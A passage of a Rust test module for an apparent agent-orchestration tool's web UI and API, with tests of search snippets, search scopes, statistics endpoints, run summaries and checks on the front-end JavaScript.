13129 assert_eq!(
13130 parts,
13131 vec![SnippetPart {
13132 text: "ok".to_owned(),
13133 hit: true
13134 }]
13135 );
13136 }
13137
13138 #[test]
13139 fn snippet_marks_matches_longer_than_the_window() {
13140 let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
13141 let hit_len = |parts: &[SnippetPart]| -> usize {
13142 parts
13143 .iter()
13144 .filter(|p| p.hit)
13145 .map(|p| p.text.chars().count())
13146 .sum()
13147 };
13148 let total =
13149 |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
13150
13151 let long = "a".repeat(120);
13152 let parts = snippet_of(&long, std::slice::from_ref(&long));
13153 assert!(hit_len(&parts) > 0, "{parts:?}");
13154 assert!(total(&parts) <= cap);
13155
13156 let ja = "あ".repeat(130);
13157 let parts = snippet_of(&ja, std::slice::from_ref(&ja));
13158 assert!(hit_len(&parts) > 0, "{parts:?}");
13159 assert!(total(&parts) <= cap);
13160
13161 let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
13163 let term = format!("ab{}", "c".repeat(100));
13164 let parts = snippet_of(&text, &["ab ".to_owned(), term]);
13165 assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
13166 assert!(total(&parts) <= cap);
13167
13168 let text = format!("{}z", "a".repeat(119));
13170 let parts = snippet_of(&text, &["a".repeat(120)]);
13171 assert_eq!(hit_len(&parts), 0, "{parts:?}");
13172 }
13173
13174 #[tokio::test]
13175 async fn search_caps_hits_and_snippet_length() {
13176 let f = Fixture::start().await;
13177 let runs = f.runs();
13178 for n in 0..(SEARCH_MAX_HITS + 5) {
13179 write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
13180 }
13181 let v = f.get("/api/search?scope=runs&q=web").await.json();
13182 assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
13183 assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
13184 assert_eq!(v["truncated"], true);
13185 assert!(
13187 v["hits"]
13188 .as_array()
13189 .unwrap()
13190 .iter()
13191 .all(|h| h["run"]["status"] == "merged")
13192 );
13193
13194 let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
13195 let parts = snippet_of(&long, &["needle".to_owned()]);
13196 let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
13197 assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
13198 assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
13199 }
13200
13201 #[tokio::test]
13202 async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
13203 let f = Fixture::start().await;
13204 let queue = f.queue();
13205 let mut t = Task::new(
13206 "short title".to_owned(),
13207 "line one\nthe hidden Armadillo detail".to_owned(),
13208 PathBuf::from("/repo/magi"),
13209 Source::Agent {
13210 run: "r1".to_owned(),
13211 node: "chat".to_owned(),
13212 },
13213 );
13214 t.last_error = Some("disk full on /tmp".to_owned());
13215 queue.put(&mut t).expect("file the task");
13216
13217 for (q, want) in [
13218 ("armadillo", 1),
13219 ("disk%20FULL", 1),
13220 ("chat", 1),
13221 ("queued", 1),
13222 ("short%20nothing", 0),
13223 ] {
13224 let v = f
13225 .get(&format!("/api/search?scope=tasks&q={q}"))
13226 .await
13227 .json();
13228 assert_eq!(v["total"], want, "{q}: {v}");
13229 }
13230 for bad in [
13231 "/api/search?scope=tasks&q=",
13232 "/api/search?scope=tasks&q=%20",
13233 "/api/search?scope=chats&q=",
13234 "/api/search?scope=chats&q=%20",
13235 "/api/search?scope=nope&q=a",
13236 "/api/search?q=a",
13237 ] {
13238 assert_eq!(f.get(bad).await.status, 400, "{bad}");
13239 }
13240 }
13241
13242 fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
13244 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
13245 .expect("seat value");
13246 let turns: Vec<serde_json::Value> = turns
13247 .iter()
13248 .map(|(who, body)| {
13249 serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
13250 })
13251 .collect();
13252 let doc = serde_json::json!({
13253 "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
13254 "status": status, "turns": turns,
13255 "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
13256 "seat": seat,
13257 });
13258 let dir = f.home.path().join("talks");
13259 std::fs::create_dir_all(&dir).expect("talks dir");
13260 std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
13261 }
13262
13263 #[tokio::test]
13264 async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
13265 let f = Fixture::start().await;
13266 write_talk(
13267 &f,
13268 "20260901-000001-aaaa",
13269 "open",
13270 &[
13271 (
13272 "operator",
13273 "\n Why does the Pangolin cache expire?\nsecond line",
13274 ),
13275 ("agent", "Because the TTL is thirty seconds."),
13276 ],
13277 );
13278 write_talk(
13279 &f,
13280 "20260901-000002-bbbb",
13281 "closed",
13282 &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
13283 );
13284 std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
13285
13286 let search = |q: &'static str| {
13287 let f = &f;
13288 async move {
13289 f.get(&format!("/api/search?scope=chats&q={q}"))
13290 .await
13291 .json()
13292 }
13293 };
13294
13295 let v = search("PANGOLIN").await;
13296 assert_eq!(v["scope"], "chats");
13297 assert_eq!(v["total"], 1, "{v}");
13298 assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
13299 assert_eq!(v["hits"][0]["field"], "title");
13300 assert_eq!(v["unreadable"], 1, "{v}");
13301 let marked: Vec<&str> = v["hits"][0]["snippet"]
13302 .as_array()
13303 .unwrap()
13304 .iter()
13305 .filter(|p| p["hit"] == true)
13306 .map(|p| p["text"].as_str().unwrap())
13307 .collect();
13308 assert_eq!(marked, ["Pangolin"]);
13309
13310 let v = search("zebra").await;
13312 assert_eq!(v["total"], 1, "{v}");
13313 assert_eq!(v["hits"][0]["field"], "agent");
13314 assert_eq!(search("pangolin%20thirty").await["total"], 1);
13316 assert_eq!(search("pangolin%20zebra").await["total"], 0);
13317 for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
13319 assert_eq!(search(q).await["total"], 0, "{q}");
13320 }
13321 assert_eq!(search("second").await["hits"][0]["field"], "operator");
13323 assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
13325
13326 let v = f.get("/api/search?scope=nope&q=a").await;
13327 assert_eq!(v.status, 400);
13328 assert!(
13329 v.body.contains("scope must be runs, tasks or chats"),
13330 "{}",
13331 v.body
13332 );
13333 }
13334
13335 #[test]
13336 fn a_question_card_links_a_task_id_to_the_task_page() {
13337 let start = APP_JS
13338 .find("function updateAskCard(")
13339 .expect("updateAskCard exists");
13340 let body = &APP_JS[start..];
13341 let body = &body[..body.find("\n}\n").expect("function end")];
13342 assert!(body.contains("question.run_is_task"));
13343 assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
13344 assert!(body.contains("`#/runs/${question.run}`"));
13345 assert!(body.contains("\"task\" : \"run\""));
13346 }
13347
13348 #[test]
13349 fn plain_text_message_surfaces_go_through_linkify() {
13350 assert!(APP_JS.contains("function linkify("));
13351 assert!(!APP_JS.contains("class: \"event-msg\", text:"));
13352 assert!(!APP_JS.contains("class: \"notice-msg\", text:"));
13353 assert!(APP_JS.contains("linkify(el(\"span\", { class: \"event-msg\" })"));
13354 assert!(APP_JS.contains("linkify(el(\"div\", { class: \"notice-msg\" })"));
13355 assert!(!APP_JS.contains("innerHTML = text"));
13356 }
13357
13358 #[test]
13359 fn implementation_rate_views_keep_independent_samples() {
13360 for (competitive_n, solo_n) in [(0, 0), (9, 10), (10, 9)] {
13361 let a = stats::AgentStats {
13362 competitive_entered: competitive_n,
13363 competitive_wins: usize::from(competitive_n > 0),
13364 solo_entered: solo_n,
13365 solo_adopted: 2 * usize::from(solo_n > 0),
13366 ..Default::default()
13367 };
13368 let v = serde_json::to_value(AgentStatsView::from(&a)).unwrap();
13369 for (key, n, numerator) in [
13370 ("competitive_win_rate", competitive_n, a.competitive_wins),
13371 ("solo_adoption_rate", solo_n, a.solo_adopted),
13372 ] {
13373 if n == 0 {
13374 assert!(v[key].is_null());
13375 } else {
13376 assert_eq!(v[key]["denominator"], n);
13377 assert_eq!(v[key]["pct"], 100.0 * numerator as f64 / n as f64);
13378 }
13379 }
13380 }
13381 assert!(APP_JS.contains("rate: a.competitive_win_rate"));
13382 assert!(APP_JS.contains("rate: a.solo_adoption_rate"));
13383 assert!(APP_JS.contains("r.rate.denominator < STATS_LOW_N"));
13384 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
13385 }
13386
13387 #[test]
13388 fn stats_bars_share_one_id_keyed_plan() {
13389 let start = APP_JS
13390 .find("function statsBarRows(")
13391 .expect("statsBarRows exists");
13392 let body = &APP_JS[start..];
13393 let body = &body[..body.find("\n}\n").expect("function end")];
13394 assert!(body.contains("statsBarPlan(rows)"));
13395 assert!(body.contains("statsAgentTone(row.agent)"));
13396 assert!(!body.contains("candTone(i)"));
13397 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
13398 for root in [
13399 "stats-agents-bars",
13400 "stats-solo-bars",
13401 "stats-reviewers-bars",
13402 ] {
13403 assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
13404 }
13405 }
13406
13407 #[test]
13408 fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
13409 let start = APP_JS
13410 .find("function renderStatsReviewerScatter(")
13411 .expect("renderStatsReviewerScatter exists");
13412 let body = &APP_JS[start..];
13413 let body = &body[..body.find("\n}\n").expect("function end")];
13414 assert!(body.contains("statsScatterPlan(reviewers)"));
13415 assert!(body.contains("statsAgentTone(d.agent)"));
13416 assert!(APP_JS.contains("function statsScatterPlan("));
13417 assert!(
13418 APP_JS.contains("d.submitted < STATS_LOW_N")
13419 || APP_JS.contains("r.submitted < STATS_LOW_N")
13420 );
13421 assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
13422 assert!(APP_CSS.contains(".precision-scatter"));
13423 }
13424
13425 #[test]
13426 fn advisor_reflection_is_drawn_as_stacked_segments() {
13427 assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
13428 assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
13429 let html = include_str!("../assets/ui/index.html");
13430 assert!(html.contains("Approximate"));
13431 for label in ["reflected strongly", "faint", "no proposal"] {
13432 assert!(html.contains(label));
13433 }
13434 let css = include_str!("../assets/ui/app.css");
13435 for c in ["refl-strong", "refl-faint", "refl-absent"] {
13436 assert!(css.contains(&format!(".{c} {{")));
13437 }
13438 }
13439
13440 #[test]
13441 fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
13442 assert!(APP_JS.contains("function statsDailyPlan("));
13443 assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
13444 assert!(INDEX_HTML.contains("id=\"stats-daily\""));
13445 }
13446
13447 #[test]
13448 fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
13449 let start = APP_JS
13450 .find("function scheduleSearch(")
13451 .expect("scheduleSearch exists");
13452 let body = &APP_JS[start..];
13453 let body = &body[..body.find("\n}\n").expect("function end")];
13454 assert!(body.contains("s.seq += 1"));
13455 }
13456
13457 #[tokio::test]
13462 async fn stats_runs_unreadable_matches_health() {
13463 let f = Fixture::start().await;
13464 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
13465 let broken = f.runs().join("20260902-140502-bad");
13466 std::fs::create_dir_all(&broken).expect("run dir");
13467 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
13468
13469 let stats = f.get("/api/stats").await;
13470 let health = f.get("/api/health").await;
13471
13472 assert_eq!(stats.status, 200);
13473 assert_eq!(stats.json()["totals"]["runs"], 1);
13474 assert_eq!(stats.json()["runs_unreadable"], 1);
13475 assert_eq!(
13476 stats.json()["runs_unreadable"],
13477 health.json()["runs_unreadable"],
13478 "the dashboard and /api/health must never disagree about how many \
13479 runs could not be read"
13480 );
13481 }
13482
13483 #[tokio::test]
13484 async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
13485 let f = Fixture::start().await;
13486 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
13487 write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
13488 write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
13489
13490 let totals = &f.get("/api/stats").await.json()["totals"];
13491 assert_eq!(totals["runs"], 3);
13492 assert_eq!(totals["merged"], 1);
13493 assert_eq!(totals["stalled"], 1);
13494 assert_eq!(totals["in_progress"], 1);
13495 assert_eq!(totals["blocked"], 0);
13498 assert_eq!(totals["ready"], 0);
13499 }
13500
13501 #[tokio::test]
13502 async fn stats_advisors_report_proposals_and_reflection() {
13503 use crate::advise::{Advice, AdvisorRecord, Reflection};
13504 use crate::verdict::Proposal;
13505
13506 let f = Fixture::start().await;
13507 let mut state = RunState::new(
13508 PathBuf::from("/repo/magi"),
13509 "main".to_owned(),
13510 "0123456789abcdef".to_owned(),
13511 "task".to_owned(),
13512 Config::default(),
13513 );
13514 state.id = "20260902-140501-a".to_owned();
13515 state.status = RunStatus::Merged;
13516 state.advice = Some(Advice {
13517 records: vec![
13518 AdvisorRecord {
13519 seat: "advisor-1".to_owned(),
13520 agent: "alpha".to_owned(),
13521 proposal: Some(Proposal {
13522 approach: "do it".to_owned(),
13523 key_tradeoff: "speed over memory".to_owned(),
13524 risks: Vec::new(),
13525 touches: Vec::new(),
13526 why_not_naive: "breaks under load".to_owned(),
13527 }),
13528 error: None,
13529 duration_ms: 0,
13530 reflection: Reflection::Strong,
13531 },
13532 AdvisorRecord {
13533 seat: "advisor-2".to_owned(),
13534 agent: "alpha".to_owned(),
13535 proposal: None,
13536 error: Some("timed out".to_owned()),
13537 duration_ms: 0,
13538 reflection: Reflection::Absent,
13539 },
13540 ],
13541 synthesis: Some("blended brief".to_owned()),
13542 });
13543 let dir = f.runs().join(&state.id);
13544 std::fs::create_dir_all(&dir).expect("run dir");
13545 std::fs::write(
13546 dir.join("run.json"),
13547 serde_json::to_string_pretty(&state).expect("serialize run"),
13548 )
13549 .expect("write run.json");
13550
13551 let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
13553 let alpha = advisors
13554 .as_array()
13555 .expect("an array")
13556 .iter()
13557 .find(|a| a["agent"] == "alpha")
13558 .expect("alpha row");
13559 assert_eq!(alpha["seated"], 2);
13560 assert_eq!(alpha["proposed"], 1);
13561 assert_eq!(alpha["absent"], 1);
13562 assert_eq!(alpha["strong"], 1);
13563 assert_eq!(alpha["faint"], 0);
13564 assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
13565 }
13566
13567 #[tokio::test]
13568 async fn stats_hides_agents_outside_the_roster_unless_all() {
13569 use crate::run::Candidate;
13570 let repo = TempDir::new().expect("repo dir");
13571 std::fs::write(
13572 repo.path().join("magi.toml"),
13573 "[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
13574 )
13575 .expect("magi.toml");
13576 let f = Fixture::with_repo(repo.path().to_path_buf()).await;
13577 let mut state = RunState::new(
13578 PathBuf::from("/repo/magi"),
13579 "main".to_owned(),
13580 "0123456789abcdef".to_owned(),
13581 "task".to_owned(),
13582 Config::default(),
13583 );
13584 state.id = "20260902-140501-a".to_owned();
13585 state.status = RunStatus::Merged;
13586 for (label, agent) in [('A', "keep"), ('B', "retired")] {
13587 let mut c: Candidate = serde_json::from_value(serde_json::json!({
13588 "index": 0, "label": label.to_string(), "agent": agent,
13589 "branch": "b", "worktree": "/w",
13590 }))
13591 .expect("candidate");
13592 c.label = label;
13593 state.candidates.push(c);
13594 }
13595 let dir = f.runs().join(&state.id);
13596 std::fs::create_dir_all(&dir).expect("run dir");
13597 std::fs::write(
13598 dir.join("run.json"),
13599 serde_json::to_string_pretty(&state).expect("serialize run"),
13600 )
13601 .expect("write run.json");
13602
13603 let agents_of = |v: &serde_json::Value| -> Vec<String> {
13604 v["agents"]
13605 .as_array()
13606 .expect("array")
13607 .iter()
13608 .map(|a| a["agent"].as_str().unwrap().to_owned())
13609 .collect()
13610 };
13611 let hidden = f.get("/api/stats").await.json();
13612 assert_eq!(agents_of(&hidden), ["keep"]);
13613 assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
13614 assert_eq!(hidden["totals"]["runs"], 1);
13615
13616 let all = f.get("/api/stats?all=true").await.json();
13617 assert_eq!(agents_of(&all).len(), 2);
13618 assert_eq!(all["retired_hidden"], serde_json::json!([]));
13619 let keep_agent = all["agents"]
13621 .as_array()
13622 .unwrap()
13623 .iter()
13624 .find(|a| a["agent"] == "keep")
13625 .unwrap();
13626 assert_eq!(keep_agent["competitive_entered"], 1);
13627 assert_eq!(keep_agent["competitive_wins"], 0);
13628 assert_eq!(keep_agent["competitive_win_rate"]["pct"], 0.0);
13629 assert_eq!(keep_agent["solo_entered"], 0);
13630 assert_eq!(keep_agent["solo_adopted"], 0);
13631 assert!(keep_agent["solo_adoption_rate"].is_null());
13632 }
13633
13634 #[tokio::test]
13635 async fn stats_release_bumps_split_clean_from_attention() {
13636 use crate::run::ReleaseBump;
13637
13638 let f = Fixture::start().await;
13639
13640 let mut clean = RunState::new(
13641 PathBuf::from("/repo/magi"),
13642 "main".to_owned(),
13643 "0123456789abcdef".to_owned(),
13644 "task".to_owned(),
13645 Config::default(),
13646 );
13647 clean.id = "20260902-140501-a".to_owned();
13648 clean.status = RunStatus::Merged;
13649 clean.release_bump = Some(ReleaseBump {
13650 pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
13651 version: Some("1.0.0".to_owned()),
13652 automerge_enabled: true,
13653 merged_directly: false,
13654 local: false,
13655 release: None,
13656 problem: None,
13657 action_required: None,
13658 });
13659
13660 let mut blocked = RunState::new(
13661 PathBuf::from("/repo/magi"),
13662 "main".to_owned(),
13663 "0123456789abcdef".to_owned(),
13664 "task".to_owned(),
13665 Config::default(),
13666 );
13667 blocked.id = "20260902-140502-b".to_owned();
13668 blocked.status = RunStatus::Merged;
13669 blocked.release_bump = Some(ReleaseBump {
13670 pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
13671 version: Some("1.0.1".to_owned()),
13672 automerge_enabled: false,
13673 merged_directly: false,
13674 local: false,
13675 release: None,
13676 problem: Some("checks red".to_owned()),
13677 action_required: Some("look at the PR".to_owned()),
13678 });
13679
13680 for state in [&clean, &blocked] {
13681 let dir = f.runs().join(&state.id);
13682 std::fs::create_dir_all(&dir).expect("run dir");
13683 std::fs::write(
13684 dir.join("run.json"),
13685 serde_json::to_string_pretty(state).expect("serialize run"),
13686 )
13687 .expect("write run.json");
13688 }
13689
13690 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
13691 assert_eq!(bumps["merged"], 2);
13692 assert_eq!(bumps["recorded"], 2);
13693 assert_eq!(bumps["pr_opened"], 2);
13694 assert_eq!(bumps["automerge_enabled"], 1);
13695 assert_eq!(bumps["needs_attention"], 1);
13696 assert_eq!(bumps["clean"], 1);
13697 assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
13698 assert_eq!(bumps["attention_rate"]["pct"], 50.0);
13699 }
13700
13701 #[tokio::test]
13702 async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
13703 let f = Fixture::start().await;
13704 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
13705
13706 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
13707 assert_eq!(bumps["merged"], 1);
13708 assert_eq!(bumps["recorded"], 0);
13709 assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
13712 assert_eq!(bumps["automerge_rate"], Value::Null);
13715 assert_eq!(bumps["attention_rate"], Value::Null);
13716 }
13717
13718 #[tokio::test]
13719 async fn stats_queue_counts_come_from_the_live_queue() {
13720 let f = Fixture::start().await;
13721 let q = f.queue();
13722 let mut queued = Task::new(
13723 "queued task".to_owned(),
13724 "do it".to_owned(),
13725 PathBuf::from("/repo"),
13726 Source::Human,
13727 );
13728 q.put(&mut queued).expect("put queued");
13729 let mut held = Task::new(
13730 "held task".to_owned(),
13731 "do it later".to_owned(),
13732 PathBuf::from("/repo"),
13733 Source::Human,
13734 );
13735 held.hold_machine(Some("out of attempts".to_owned()));
13736 q.put(&mut held).expect("put held");
13737
13738 let queue = f.get("/api/stats").await.json()["queue"].clone();
13739 assert_eq!(queue["queued"], 1);
13740 assert_eq!(queue["held"], 1);
13741 assert_eq!(queue["running"], 0);
13742 assert_eq!(queue["done"], 0);
13743 assert_eq!(queue["failed"], 0);
13744 assert_eq!(queue["blocked"], 0);
13745 }
13746
13747 #[tokio::test]
13748 async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
13749 let f = Fixture::start().await;
13750 let stats = f.get("/api/stats").await;
13751 assert_eq!(stats.status, 200);
13752 assert_eq!(stats.json()["totals"]["runs"], 0);
13753 assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
13754 assert_eq!(stats.json()["runs_unreadable"], 0);
13755 assert!(stats.json()["agents"].as_array().unwrap().is_empty());
13756 assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
13757 assert!(stats.json()["repos"].as_array().unwrap().is_empty());
13758 assert_eq!(stats.json()["repo"], Value::Null);
13759 }
13760
13761 #[tokio::test]
13762 async fn stats_lists_every_repository_with_runs_recorded() {
13763 let f = Fixture::start().await;
13764 write_run_repo(
13765 &f.runs(),
13766 "20260902-140501-a",
13767 RunStatus::Merged,
13768 "/repos/a",
13769 );
13770 write_run_repo(
13771 &f.runs(),
13772 "20260902-140502-b",
13773 RunStatus::Merged,
13774 "/repos/a",
13775 );
13776 write_run_repo(
13777 &f.runs(),
13778 "20260902-140503-c",
13779 RunStatus::Blocked,
13780 "/repos/b",
13781 );
13782
13783 let stats = f.get("/api/stats").await;
13784 assert_eq!(stats.status, 200);
13785 assert_eq!(stats.json()["totals"]["runs"], 3);
13787 assert_eq!(stats.json()["repo"], Value::Null);
13788
13789 let repos = stats.json()["repos"].clone();
13790 let repos = repos.as_array().unwrap();
13791 assert_eq!(repos.len(), 2);
13792 assert_eq!(repos[0]["repo"], "/repos/a");
13794 assert_eq!(repos[0]["name"], "a");
13795 assert_eq!(repos[0]["runs"], 2);
13796 assert_eq!(repos[1]["repo"], "/repos/b");
13797 assert_eq!(repos[1]["runs"], 1);
13798 }
13799
13800 #[tokio::test]
13801 async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
13802 let f = Fixture::start().await;
13803 write_run_repo(
13804 &f.runs(),
13805 "20260902-140501-a",
13806 RunStatus::Merged,
13807 "/repos/a",
13808 );
13809 write_run_repo(
13810 &f.runs(),
13811 "20260902-140502-b",
13812 RunStatus::Blocked,
13813 "/repos/b",
13814 );
13815
13816 let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
13817 assert_eq!(stats.status, 200);
13818 assert_eq!(stats.json()["totals"]["runs"], 1);
13819 assert_eq!(stats.json()["totals"]["merged"], 1);
13820 assert_eq!(stats.json()["repo"], "/repos/a");
13821 assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
13824 assert_eq!(stats.json()["runs_unreadable"], 0);
13827 }
13828
13829 #[tokio::test]
13830 async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
13831 let f = Fixture::start().await;
13832 write_run_repo(
13833 &f.runs(),
13834 "20260902-140501-a",
13835 RunStatus::Merged,
13836 "/repos/a",
13837 );
13838 write_run_repo(
13839 &f.runs(),
13840 "20260902-140502-b",
13841 RunStatus::Merged,
13842 "/repos/b",
13843 );
13844
13845 for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
13846 let json = f.get(uri).await.json();
13847 let daily = json["daily"].as_array().expect("daily is an array");
13848 assert_eq!(daily.len(), 30);
13849 let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
13850 let mut sorted = dates.clone();
13851 sorted.sort();
13852 assert_eq!(dates, sorted);
13853 for d in daily {
13854 assert_eq!(
13855 d["merged"].as_u64().unwrap()
13856 + d["ready"].as_u64().unwrap()
13857 + d["other"].as_u64().unwrap(),
13858 d["runs"].as_u64().unwrap()
13859 );
13860 }
13861 assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
13862 }
13863 }
13864
13865 #[tokio::test]
13866 async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
13867 let f = Fixture::start().await;
13868 write_run_repo(
13869 &f.runs(),
13870 "20260902-140501-a",
13871 RunStatus::Merged,
13872 "/repos/a",
13873 );
13874
13875 let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
13876 assert_eq!(stats.status, 404);
13877 }
13878
13879 #[tokio::test]
13880 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
13881 let f = Fixture::start().await;
13882 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
13883
13884 let summary = f.get("/api/runs").await.json();
13885 let row = &summary[0];
13886 assert_eq!(row["short"], "a1b2");
13887 assert_eq!(row["status"], "ready");
13888 assert_eq!(row["done"], true);
13889 assert_eq!(row["title"], "Add a web UI");
13890 assert_eq!(row["repo_name"], "magi");
13891 assert_eq!(row["judges"], 3);
13892 assert_eq!(row["winner"], Value::Null);
13893 assert_eq!(row["reviews"], 0);
13894
13895 let detail = f.get("/api/runs/a1b2").await;
13898 assert_eq!(detail.status, 200);
13899 assert_eq!(detail.json()["base_branch"], "main");
13900 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
13901 }
13902
13903 #[tokio::test]
13911 async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
13912 let f = Fixture::start().await;
13913
13914 let mut none_run = RunState::new(
13915 PathBuf::from("/repo/magi"),
13916 "main".to_owned(),
13917 "0123456789abcdef".to_owned(),
13918 "Add a web UI".to_owned(),
13919 Config::default(),
13920 );
13921 none_run.id = "20260902-140503-none".to_owned();
13922 none_run.status = RunStatus::Ready;
13923 none_run.merge = Some(crate::run::MergeOutcome {
13924 mode: crate::config::MergeMode::None,
13925 ok: true,
13926 detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
13927 empty: false,
13928 });
13929 write_state(&f.runs(), &none_run);
13930
13931 let mut pr_run = RunState::new(
13932 PathBuf::from("/repo/magi"),
13933 "main".to_owned(),
13934 "0123456789abcdef".to_owned(),
13935 "Add a web UI".to_owned(),
13936 Config::default(),
13937 );
13938 pr_run.id = "20260902-140504-prcl".to_owned();
13939 pr_run.status = RunStatus::Ready;
13940 pr_run.merge = Some(crate::run::MergeOutcome {
13941 mode: crate::config::MergeMode::Pr,
13942 ok: false,
13943 detail: "https://example.com/pr/1 was closed without merging".to_owned(),
13944 empty: false,
13945 });
13946 write_state(&f.runs(), &pr_run);
13947
13948 let summary = f.get("/api/runs").await.json();
13949 let rows: std::collections::HashMap<&str, &Value> = summary
13950 .as_array()
13951 .expect("an array")
13952 .iter()
13953 .map(|r| (r["id"].as_str().expect("an id"), r))
13954 .collect();
13955 assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
13956 assert_eq!(
13957 rows[none_run.id.as_str()]["unmerged_by_design"],
13958 true,
13959 "a mode-none Ready must be flagged in the list"
13960 );
13961 assert_eq!(
13962 rows[pr_run.id.as_str()]["unmerged_by_design"],
13963 false,
13964 "a Ready reached by a closed pull request is a different case"
13965 );
13966
13967 let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
13968 assert_eq!(none_detail["status"], "ready");
13969 assert_eq!(none_detail["unmerged_by_design"], true);
13970
13971 let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
13972 assert_eq!(pr_detail["unmerged_by_design"], false);
13973 }
13974
13975 #[tokio::test]
13980 async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
13981 let f = Fixture::start().await;
13982 let id = "20260902-140502-bbbb";
13986 let mut state = RunState::new(
13987 PathBuf::from("/repo/magi"),
13988 "main".to_owned(),
13989 "0123456789abcdef".to_owned(),
13990 "Add a web UI".to_owned(),
13991 Config::default(),
13992 );
13993 state.id = id.to_owned();
13994 state.status = RunStatus::Judging;
13995 state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
13996 let dir = f.runs().join(id);
13997 std::fs::create_dir_all(&dir).expect("run dir");
13998 std::fs::write(
13999 dir.join("run.json"),
14000 serde_json::to_string_pretty(&state).expect("serialize run"),
14001 )
14002 .expect("write run.json");
14003
14004 let cold = f.get(&format!("/api/runs/{id}")).await.json();
14010 assert_eq!(cold["active"]["judge-2"]["node"], "judge");
14011 assert_eq!(cold["live"], "unknown", "{cold}");
14012
14013 write_daemon(f.home.path(), Timestamp::now());
14016 let warm = f.get(&format!("/api/runs/{id}")).await.json();
14017 assert_eq!(warm["live"], "live", "{warm}");
14018 }
14019
14020 #[tokio::test]
14023 async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
14024 let f = Fixture::start().await;
14025 let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
14026 let mut state = RunState::new(
14027 PathBuf::from("/repo/magi"),
14028 "main".to_owned(),
14029 "0123456789abcdef".to_owned(),
14030 "Add a web UI".to_owned(),
14031 Config::default(),
14032 );
14033 state.id = id.to_owned();
14034 state.origin = origin;
14035 let mut value = serde_json::to_value(&state).expect("serialize run");
14036 if let Some(schema) = schema {
14037 value["schema"] = serde_json::json!(schema);
14038 value.as_object_mut().unwrap().remove("origin");
14039 }
14040 let dir = f.runs().join(id);
14041 std::fs::create_dir_all(&dir).expect("run dir");
14042 std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
